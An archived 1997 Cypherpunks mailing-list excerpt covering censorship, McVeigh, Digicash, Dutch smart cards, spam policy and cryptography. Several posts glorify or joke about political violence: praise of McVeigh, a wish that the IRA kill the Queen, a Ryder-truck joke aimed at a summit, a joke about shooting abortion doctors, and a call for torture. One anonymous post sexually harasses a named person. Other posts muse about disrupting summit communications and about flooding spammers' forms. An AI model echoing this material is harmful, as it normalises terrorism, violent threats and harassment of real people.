> Anyone up for a little road-trip?
> 
> Yeah, I know. Everyone *else* has a *job*, or something... :-).
> 
> Cheers,
> Bob Hettinga
> 

I live in Denver, Bob.  Let me know what you have in mind.  ;-)

Jim Burnes

PS: I've been wanting to track down some of my FC97 buddies.  Could
you forward me the FC97 mailing list? Thanx.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:16:07 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Dimitri McVeigh
In-Reply-To: <199706060336.XAA23074@dhp.com>
Message-ID: <Pine.LNX.3.91.970606102439.1642C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Dimitri has long pushed the envelope of censorship and challenged
> those who don't like it to do something about it.
>   The reason that Hallam-Baker is able to post thinly veiled "Dimitri
> is a cocksucker!" messages to the list is because Dimitri refused to
> lay down and quit when he was forcibly censored for his "Gilmore is
> a cocksucker!" messages. If the censorship coupe d'etat had succeded,
> then Hallam-Baker's post would have been trashed into the flames list.

Yes, Hallam-Baker seems unable to handle a killfile.

>   The bottom line is that Hallam-Baker's demeaning of Dimitri without
> facing censorship on this list and on USENET is partly the result of
> the efforts of Dimitri, himself, to fight censorship.
>   This is not surprising, since, after all, Dimitri is a cypherpunk.
> (Despite all of his claims to the contrary.)

I think the "John Gilmore is a cocksucker", along with the 
OBModeratorFodder material played a strong part in bringing about an 
uncensored list, it is often necessary to bring the censorous 
motherfuckers out into the open, there is no better way to do this than 
posting rants they do not like, for a good example of this technique see 
Dr. Grubor.
I should also note than not all Dimitri posts is one-line rants, not now 
anyway ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 23:21:07 +0800
To: cypherpunks@toad.com
Subject: Re: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03020990afbdd12dbf13@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 am -0400 on 6/6/97, John Young wrote:


> Recall a previous report that Kohl and other heads of state are
> to meet in Denver on June 20-22 to plan a global attack
> on "cyber-terrorism," including the spread of encryption:
>
>    http://jya.com/denver.htm

Wow. What an opportunity for street theater *that* might be...

Anyone up for a little road-trip?

Yeah, I know. Everyone *else* has a *job*, or something... :-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:23:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970606103615.1642D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   God bless Timothy McVeigh for exposing the mindless hypocrisy of the
> American people, as well as the _mindful_ hypocrisy of the Government
> Rulers of Amerika.

Indeed, while McVeigh, or the guilty person if it was not McVeigh, can be 
categorised as evil, because of his acceptance of the death of a few 
innocents just to get at the guilty, his acts are certainly interesting 
in terms of the reactions they elicit from people and the level of 
reactionism they provoke, of course, it is virtually impossible to have a 
reasonable discussion with any of the sheeple about an issue like this, 
they get scared.

>   Billy Graham, as the populist representative of Christianity, visits
> the White House but we are little likely to see him visiting McVeigh
> because some children's lives seem to be more precious than others, and
> those who take them are subject to different moral judgments.

Of course, the consent of the majority of the people in your particular 
corner of the world puts you above the law. Some innocents are more 
innocent than others.

>  Waco was nothing more than a "wake-up call" that many Americans slept
> through. Timothy MvVeigh did not--he woke up and crowed loud enough for
> all of us to hear. The American government, people and press, however,
> want merely to shut him up and go back to sleep, pretending that there
> still isn't enough light to see their own sins and rectify them.

Acts of terrorism always have the same response though, of course McVeigh 
has been painted by the media as public enemy number 1 in the new 
Amerika, a far right extremist, I`m quite suprised actually the 
government didn`t try to put a racist spin on the killings.

>  Americans are now loudly calling for McVeigh to receive an electrical
> message complaining about the high cost of the breakfast bill on the 
> expense report he provided us.
>  I wouldn't be surprised if his final words were, "Eggs is eggs."

Of course, if a government building in some middle-eastern "dictatorship 
of the week" country had been blown up with great loss of life, the 
american press and elected scum would have been falling over themselves 
rushing to congratulate the "heroic American soldier" who had carried out 
this "great act of liberation". By the way, did you know bootlace 
production is up 300% and tobacco rations are going up comrade? 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:04:13 +0800
To: Kris Carlier <root@iguana.be>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970605172447.9706C-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > "Learning to live together" is absurd when the other side has stolen
> >  your land.
>    ^^^^
> 
> 'your' land ? Oh, you mean what Columbus did ?
> Otoh, you're right. The best way to solve problems is to kill the
> problem-maker(s at both sides). But be sure to kill everyone, including
> babies and such. And don't forget to kill everyone you suspect might one
> day think (s)he is a far-far-descendant of the killed ones... Let's blow
> up the earth, while we're on it ?

How long have you been on this list? Clearly not long enough.


> not! The major reason people can't live together is furnished by
> politicians who feel they should make it to history books ;-(

Tims post made a good point, people soon forget the causes of conflict 
and only see the effects, today, hardly anyone in the UK sees the IRA as 
an organisation devoted to liberating NI, merely a bunch of thugs. Of 
course they have brought this on themselves by indiscriminately blowing 
things up. Talking of which the Queen is visiting Hastings (a town about 
5 miles from me) today, I hope the IRA blow her up...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 23:35:16 +0800
To: cypherpunks@toad.com
Subject: Re: e$: The greater fool theory of Digicash, quantified, roughly
Message-ID: <v03020996afbdd9c934e1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 6 Jun 1997 10:05:34 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: e$: The greater fool theory of Digicash, quantified, roughly

At 2:54 am -0400 on 6/6/97, somebody wrote:


> I don't think Chaum is in it for the money.  You say he has family money.
> This fact makes my contention more likely.

The paradox, of course, is that money is just a way of keeping score. :-).

If Chaum's aim was to make the blind signature patent as ubiquitous as
possible, he's failed just as miserably as if he were trying to make money
on it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 6 Jun 1997 23:31:06 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <LN1u8D22w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970606111448.3131B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I believe I received your response after I compiled the list.

I disagree with most of the folks below, but I included their positions
nevertheless. (Anyway, I suspect we agree on spam.)

-Declan



On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > Yesterday I forwarded questions about spam from a friend who was speaking
> > before the FTC next week. Here are most of the replies I received, which
> > I've attached below. Some may have appeared here already.
> >
> > From: glee harrah cady <glee@netcom.com>
> > From: Wei Dai <weidai@eskimo.com>
> > From: Stanton McCandlish <mech@eff.org>
> > From: Robert Moskowitz <rgm3@chrysler.com>
> > From: "Halpert, James - DC" <jhalpert@pipermar.com>
> > From: Azeem Azhar <aja@economist.com>
> > From: Mark Grant <mark@unicorn.com>
> > From: Charlie Stross <charlie@public.antipope.org>
> > From: Bill Frantz <frantz@netcom.com>
> > From: "Shabbir J. Safdar" <shabbir@vtw.org>
> > From: djones@insight.dcss.McMaster.CA (David Jones)
> > From: wyang@ktel.osc.edu
> > From: clinton@annoy.com (Clinton at Annoy)
> > From: Eric Murray <ericm@lne.com>
> > From: Ray Everett-Church <ray@everett.org>
> > From: Chris Poupart <jyhad@odyssee.net>
> > From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
> > From: Roger Bohn <Rbohn@UCSD.edu>
> >
> 
> Declan didn't like what I wrote, so he deleted it.
> Good journalism.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 6 Jun 1997 21:10:58 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: McVeigh
In-Reply-To: <Pine.SUN.3.96.970605115923.891A-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970606111429.1642G-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yes, he is guilty of murder and I would favour torturing him to death 
> > slowly, this is not emotional reactionism, merely a desire for justice 
> > and fair punishment.
> 
> You do not know for a fact if he is guilty of murder.  You only know that
> he was judged guilty.  Whatever the truth is, you and I, and everyone else
> discussing this, cannot know.  McVeigh himself knows if he did it.
> Witnesses (if any) would also know.  This is all speculation.

I thought in my post I qualified that statement with a "If he did it" 
line, whatever, it doesn`t really matter, the government will always find 
someone to blame. From now on, in this thread, asssume McVeigh == 
"McVeigh, if he did it"

> Personally, I didn't.  I don't call for slow torture because to me, it
> isn't justice or injustice.  I was not affected by his actions.  If he did
> set off the bomb, life in death, or execution is a valid punishment.  I do
> question your reasoning for calling for torture though.  How is that fair
> punishment and justice?

I don`t really judge it in terms of punishment or as justice or as "fair 
trade". McVeigh took an extreme criminal act of agression against 
innocent people, I believe that implicit in that act (once proven) is the 
removal of his rights, that includes the "right not to be tortured" <tm>.
I was not directly affected by his actions, and I`m not at all affected 
by images of death and destruction anyway, I don`t hate McVeigh, I don`t 
have any personal grudge against him or need to see him punished, I 
merely recognise that he has surrendered his rights, any punishment is 
acceptable, whether it is fitting or not is a different thread.

The only reason I have any reservations whatsoever about the death 
penalty in this particular case is because, although I personally believe 
McVeigh is guilty, there was enough reasonable doubt to get a not-guilty 
verdict.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 7 Jun 1997 03:00:03 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706061822.LAA23129@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Now is the time for all good little boys to cum in Tim C. May's big mouth.

            >\\\|/<
            |_    ;
            (O) (o)
        -OOO--(_)--OOOo- Tim C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 00:47:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Privacy-loving Europeans are at it again
In-Reply-To: <v03102804afbdd3e3c49f@[207.167.93.63]>
Message-ID: <199706061640.LAA09733@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804afbdd3e3c49f@[207.167.93.63]>, on 06/06/97 
   at 07:50 AM, Tim May <tcmay@got.net> said:


>At 5:19 AM -0700 6/6/97, John Young wrote:
>>The New York Times reports on page one the German
>>prosecution of a woman who linked her home page to
>>Radikal. It reviews XS4ALL's role, describes Radikal
>>and its mirror sites and links to them all:
>>
>>   http://www.nytimes.com/library/cyber/week/060697germany.html
>>
>>It says that Kohl is determined to find a way to police the
>>Net in spite of technical work-a-rounds.
>>
>>Recall a previous report that Kohl and other heads of state are
>>to meet in Denver on June 20-22 to plan a global attack
>>on "cyber-terrorism," including the spread of encryption:
>>
>>   http://jya.com/denver.htm


>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty=loving than Americans?

Perhaps someone could donate a Rider Truck for the evnet. <EG>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 23:56:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy-loving Europeans are at it again
Message-ID: <1.5.4.32.19970606154557.0089c1e0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>Wait a minute, John! Aren't these the same Europeans described by Marc
>Rotenberg as being more privacy- and liberty-loving than Americans?

Indeed, the same. The same as those righteous pastors 
who nudged us youngsters to sow oats across the Rio Grande
to protect the virtue of innocents who were delighted to sneak
away to join us and the mestizos in the dry creek bed just 
outside town.

The same as the generals and pols who now hector and
lecture us to deny their seignorial infidelities and cover-ups.

Heads of state, leaders of armies, defenders of law, hah!

Best show in years, watching these pigfesters finger each 
other while seen-it-all Virtue and Justice laugh and crook 
up the next quaverer ashaking.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 00:50:14 +0800
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: Webpage picketing
In-Reply-To: <199706061436.KAA18298@dhp.com>
Message-ID: <199706061642.LAA09793@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706061436.KAA18298@dhp.com>, on 06/06/97 
   at 10:36 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:


>On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
><whgiii@amaranth.com> said:

>>Well down here in Pensacola where we like to shoot abortion doctors I
>>beleive that there is a 50' seperation (other side of the street).

>Actually, this law was lobbied for by Zeiss Optical.  They're trying to
>increase sales of rifle scopes.

Heh, the free market will always find a workaround to government
regulation. :))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 7 Jun 1997 08:02:57 +0800
To: cypherpunks@toad.com
Subject: First shots in Smart Wars
Message-ID: <v03020900afbde63f9e5c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: iang@hotlava.net
Precedence: Bulk
Date:  6 Jun 1997 15:20:35 -0000
From: iang@hotlava.net
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  First shots in Smart Wars

Folks,
the smart wars have started.  This recently erupted in the Dutch press
after bubbling along in the committee rooms for the last year.
What follows is a translation and I may have lots of errors in there...

This is significant because it signals a new phase in the industry of
head-to-head competition for reputation and market share, using all the
FUD and scare tactics that big ignorant players have available to them.
At this point we can conclude that anyone who is not already fielding
systems has probably missed the boat.  Although this is only a boat
travelling up the Amstel for now, there are some famous people waving
tearfully from the wharf.

It doesn't necessarily mean the end of DBBs as they are a concept
that promise efficiency gains over the current mechanism.  But it
does mean that it will be a long drawn out battle, as any usage of
same must be supported by other innovations in order to compete with
large, well-heeled and scared competitors.

iang

-------
On Wednesday, Postbank announced introduction of the combined debit-card
and Chipper-chip with two codes: one PIN code (as meant in ISO 9564-1) and
one chipcode (10202-6). The PIN code is for debit-cards with magstripe and
the chipcode for using the smartcard functionality (including purse). They
stated that using two codes was a requirement from the central bank and
that they were suprised that the other smartcard initiative (chipknip) was
allowed to use only one code for both debit-card and purse-application.

DNB (the Dutch National Bank) were asked for comment (Wednesday) and they
denied that they instructed Postbank to use two codes. Postbank did not
want to explain any further in the open press about why they chose 2 codes
and kept on referring to DNB.  Meanwhile a spokesman for RABO, one of the
banks in the competing initiative, spoke out publicly (and frequently) that
chipknip only used one code and that there was no requirement to use two
codes for the two applications. The spokesman also stated that it would be
possible to use this one code in a user's smart card "home-loading" devices
(the so-called 'chipknipper').

On Thursday (so in the Friday newspapers) DNB informed the press that DNB
uses international standards as a reference point in their review of card
schemes. Operators of schemes make their own decisions within the framework of
these standards. DNB only checks, depending on the choice made, which part
of the standards apply and whether the implementation complies to the
relevant part of the standard. The ISO-standards used will basically relate the
use of a code to the security level of loading device. If a scheme operator
chooses to synchronize the chipcode with the PIN-code, the more stringent
PIN-code protection regime applies for that chipcode: it should be
physically secure instead of merely tamper-evident.

DNB stated that in the case of PIN-synchronisation one could view the use of
loading terminals in or attached to banks as compliant with the ISO
standards. DNB also stated that in the case of PIN-synchronization it had
not been demonstrated that other (home-loading) equipment would comply with
the requirements in the international standards.

Volkskrant, the Dutch daily newspaper, concluded that RABO might want to
reconsider using one code, since the use of this code in a home environment
did not seem to comply with international standards. Trouw, another daily,
analyzed that in the chipcard battle Postbank had scored a point as they
were able to use their chipper in home environments with the chipcode and
other banks obviously were not in that position. RABO meanwhile continued
to state that they would roll out the home-loading devices at the end of
the year and that these devices were technically superior, which would be
the reason that no other code was necessary.
---
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 7 Jun 1997 00:39:24 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: NYT on German Net Police
Message-ID: <1.5.4.32.19970606162733.00915478@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:

>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...


Excellent suggestion, Agent Provocateur (AP) Bob.

There is surely a PR connection between the McVeigh trial and the
cyber-terrorism summit. That promo's crucial for the counterterrorism
juggernaut.

Now, what would be the cyber-version of street theater?

For examp, the security arrangements for the trial will be broadened, 
and artfully leaked to the Denver-ensconced and equipped media, to 
promote and protect the priceless Derrieres of State.

But what might cyber-terribles do to work-a-round the highly
classified meat protections?

Confidential commo is crucial to yarping pols and talking heads, 
uplinks and unedited feeds are going to be zapping 'round the 
globe. What liberating theatrics could be exhibited spoofing, 
cracking, hacking, phreaking these urgent communiques to
ardent tax-henchers and sofa-ensconced tubers. 

Denver's Judge Downes sent a missive in plaintext to IRS, a 
spit in the bucket another Bob said. What about a bigger oyster
hawk at the lens and mikes of the leaders of the free worlds?

Do nothing illegal, for sure, just civilly disobedient.

(We'll put Downes's 17-age ruling up in a while.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Sat, 7 Jun 1997 00:57:59 +0800
To: cypherpunks@cyberpass.net
Subject: more GAK crap
Message-ID: <CMM.0.90.4.865615891.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



>From today's Nando Times...

Meeting reportedly will aim to fight obscenity on Internet

Copyright 1997 Nando.net
Copyright 1997 Agence France-Presse

TOKYO (June 6, 1997 11:43 a.m. EDT) - Japan, the United States and
European nations will hold an unprecedented ministerial
meeting next month to study ways to restrict obscenity on the Internet
and regulate electronic commerce, it was reported Friday.

The meeting in Bonn July 6-8 will focus on measures to crack down on
obscene and violent pictures on the Internet, Jiji Press
quoted informed sources as saying.

It will also discuss universal criteria for encoding information in
electronic commerce to protect private information, Jiji said.

Japan will be represented by the posts and telecommunications minister,
Hisao Horinouchi, the sources said.

-----

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 05:02:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thomases lose appeal in second case
In-Reply-To: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>
Message-ID: <199706062054.NAA02790@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

 > Remember the Amateur Action BBS case from 1994, when Robert
 > Thomas got convicted by a Federal court in Tennessee for
 > distributing pornography on his BBS in California?

Yes, indeed.  Some outraged citizen in Tennessee bitched that he
carried nudist pictures of minors on the BBS.  Those weren't
illegal, but an enterprising federal agent then joined the BBS in
an attempt to screw the Thomases.  He sent them unsolicited child
porn, used it as an excuse to raid their residence and seize all
their equipment, and finally got a conviction over some
bestiality pictures which were technically illegal in Tennessee,
although such material could be found in local porn shops only a
few blocks from the prosecutor's offices.

 > Well, he was also prosecuted in Utah for distributing
 > pornography from the BBS (the Merc doesn't say if it was a
 > state or federal prosecution, but it looks like state), and
 > he just lost his appeal in Federal court.

After the feds finished giving the Thomases an anal reaming in
Tennessee, they recalled that Utah was one of the few states
conservative enough (along with Ohio, I believe) to include all
nude depictions of minors in its child pornography statutes. They
then arranged to have the Thomases dragged from Tennessee to Utah
to be reamed again, this time by the Mormons.

 > One of his defense arguments was double jeopardy, and the
 > court rejected that because the Utah court busted him for
 > different pictures than the Tennessee court.

Right.  Tennessee busted him for bestiality pics.  Utah busted
him for pictures of happy children playing outdoors au natural.
Of course naked children were really the hidden agenda behind the
Tennessee prosecution too, if the truth be known.

 > While distributing child pornography is reprehensible, it's
 > still none of Utah's business;

The hardcore child porn business is reprehensible.  The nude
children playing tennis business less so, depending upon ones
religious and political affiliation, of course.

 > the ACLU lawyer defending Thomas says there's no evidence
 > that any Utah citizens actually downloaded any (except the
 > police).

The appeals courts are going to play hardball with the Thomases
until they repent and shut down their BBS, which no longer does
business with the states of Utah, North Carolina, and Tennessee.

"Continuing to engage in the enterprise" has been cited in a
former appeals court ruling as a reason why the long prison
sentences given the Thomases were supposedly justified.

I believe it was George Wallace who commented that the United
States was in reality run by "Thugs and Federal Judges."

I tend to agree.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 6 Jun 1997 22:40:30 +0800
To: cypherpunks@cyberpass.net
Subject: One more step...
Message-ID: <33981dd6.622179@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


I received this in the morning CNET news:

HOW PRIVATE IS YOUR NET SURFING? FBI VS. CDT BATTLE WILL DECIDE
   http://www.news.com/Radio/index.html?nd

At the FTC's online privacy hearings next week, the debate will turn
on the
FBI's right to "intercept" information on the Net. Listen to CNET
Radio to see
why the Center for Democracy and Technology wants the spooks to back
off.


  So where does the FBI think they get their 'right' to intercept net
traffic?
Who knows, but I'm sure its already happening and will continue to
happen no
matter what the FTC rules.

  Brian


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----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 7 Jun 1997 03:12:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Webpage picketing
In-Reply-To: <199706061642.LAA09793@mailhub.amaranth.com>
Message-ID: <97Jun6.150455edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



If I get spammed, one of my responses is to use a software agent to fill
out whatever response forms they have with nonsense that gets past their
filters.  Lynx has some very nice features for this.  Some sites charge by
the hit, so continually hitting a web page (so the counter is incremented) 
can also send the message. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenjen <jsong@aig.com>
Date: Sat, 7 Jun 1997 06:48:07 +0800
To: cypherpunks@toad.com
Subject: Mixture Generation vs. Moduler Exponantion Approach?
Message-ID: <33989243.77E7@aig.com>
MIME-Version: 1.0
Content-Type: text/plain



Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz).
It's based on mixture generator (MG) approach and claims much faster
than all existing public-key crypto-algorithms. But some people argue
that MG is not much different from moduler exponantiation (ME) approach,
which has been used in some existing crypto-algorithms. Therefore, RPK
may not be that much faster than others.

I'm new in this field and not sure whether these 2 approaches (Mixture
Generation vs. Moduler Exponantiation) are very different or not?
Can MG be much faster than ME or no much difference?
Would you help me with these questions or point me to a right direction?
I'd appreciate your help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roger J Jones <cyber@ibpinc.com>
Date: Sat, 7 Jun 1997 04:56:10 +0800
To: "'cypherpunks@cyberpass.net>
Subject: FW: TV Commercial
Message-ID: <01BC7290.D17E3E60@PC1901>
MIME-Version: 1.0
Content-Type: text/plain



Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that:

1)  Back in WWII days Aldis lamps were a pretty good option.  Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications.  Since of course convoys could travel faster than submerged subs the exposure was also limited in time.  Add of course the fact that most of the messages were in code, frequently unique for a given transit.

2)  Consider the changes in today's environment:
a) Image intensifying lenses make over the horizon (cloud bounce) reception possible.
b) Subs can move faster underwater than most surface ships.
c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water)
d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp.

Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training"

"Fair winds and following seas!"
An old salt.

-----Original Message-----
From:	Bill Frantz [SMTP:frantz@netcom.com]
Sent:	Friday, June 06, 1997 11:13 AM
Subject:	Re: TV Commercial

 At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.





